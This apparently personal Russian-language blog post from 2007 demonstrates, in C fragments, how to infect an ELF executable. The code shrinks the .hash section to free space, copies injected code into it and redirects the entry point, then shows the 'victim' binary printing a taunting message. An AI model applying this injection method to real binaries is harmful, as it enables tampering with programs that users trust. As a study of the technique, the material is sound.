[

Current Mood

|

excited

]

1. Найдем секцию .hash:

           FOR_EACH_SHDR
                   if (shdr->sh_type == SHT_HASH) {
                           sh = shdr;
                           break;
                   }
           ASSERT(sh != NULL);
           ASSERT(code_len < sh->sh_size - 12);
           uint32_t *hash = (uint32_t*)(m + sh->sh_offset);
   

2. nbuckets = 1, buckets[0] = 0 (no match ;-)

           hash[0] = 1;
           hash[2] = 0;

3. Используем освободившееся место по-своему:

           memcpy(&hash[3], code, code_len);
           ehdr->e_entry = sh->sh_addr + 12;

./victim
ALL YOUR BASE ARE BELONG TO US!
Срд Сен 26 18:27:04 EEST 2007